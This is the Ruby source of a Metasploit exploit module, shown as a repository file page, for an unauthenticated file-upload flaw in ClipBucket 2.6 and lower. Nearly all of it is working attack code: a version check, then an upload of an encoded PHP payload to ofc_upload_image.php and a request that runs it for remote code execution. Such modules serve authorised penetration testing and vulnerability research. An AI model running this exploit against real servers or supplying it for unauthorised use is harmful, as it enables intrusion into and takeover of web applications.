Path: blob/master/modules/exploits/unix/webapp/clipbucket_upload_exec.rb
25666 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => "ClipBucket Remote Code Execution",16'Description' => %q{17This module exploits a vulnerability found in ClipBucket version 2.6 and lower.18The script "/admin_area/charts/ofc-library/ofc_upload_image.php" can be used to19upload arbitrary code without any authentication. This module has been tested20on version 2.6 on CentOS 5.9 32-bit.21},22'License' => MSF_LICENSE,23'Author' => [24'Gabby', # Vulnerability Discovery, PoC25'xistence <xistence[at]0x90.nl>' # Metasploit module26],27'References' => [28[ 'CVE', '2013-10040' ],29[ 'PACKETSTORM', '123480' ]30],31'Platform' => ['php'],32'Arch' => ARCH_PHP,33'Targets' => [34['Clipbucket 2.6', {}]35],36'Privileged' => false,37'DisclosureDate' => '2013-10-04',38'DefaultTarget' => 0,39'Notes' => {40'Reliability' => UNKNOWN_RELIABILITY,41'Stability' => UNKNOWN_STABILITY,42'SideEffects' => UNKNOWN_SIDE_EFFECTS43}44)45)4647register_options(48[49OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])50]51)52end5354def uri55return target_uri.path56end5758def check59# Check version60peer = "#{rhost}:#{rport}"6162vprint_status("Trying to detect installed version")6364res = send_request_cgi({65'method' => 'GET',66'uri' => normalize_uri(uri, "")67})6869if res and res.code == 200 and res.body =~ /ClipBucket version (\d+\.\d+)/70version = $171else72return Exploit::CheckCode::Unknown73end7475vprint_status("Version #{version} detected")7677if version > "2.6"78return Exploit::CheckCode::Safe79else80return Exploit::CheckCode::Appears81end8283return Exploit::CheckCode::Safe84end8586def exploit87peer = "#{rhost}:#{rport}"88payload_name = rand_text_alphanumeric(rand(10) + 5) + ".php"8990print_status("Uploading payload [ #{payload_name} ]")91res = send_request_cgi({92'method' => 'POST',93'uri' => normalize_uri(uri, "admin_area", "charts", "ofc-library", "ofc_upload_image.php"),94'headers' => { 'Content-Type' => 'text/plain' },95'vars_get' => { 'name' => payload_name },96'data' => payload.encoded97})9899# If the server returns 200 we assume we uploaded the malicious100# file successfully101if not res or res.code != 200 or res.body !~ /Saving your image to: \.\.\/tmp-upload-images\/(#{payload_name})/ or res.body =~ /HTTP_RAW_POST_DATA/102fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")103end104105register_files_for_cleanup(payload_name)106107print_status("Executing Payload [ #{uri}/admin_area/charts/tmp-upload-images/#{payload_name} ]")108res = send_request_cgi({109'method' => 'GET',110'uri' => normalize_uri(uri, "admin_area", "charts", "tmp-upload-images", payload_name)111})112113# If we don't get a 200 when we request our malicious payload, we suspect114# we don't have a shell, either.115if res and res.code != 200116print_error("Unexpected response, probably the exploit failed")117end118end119end120121122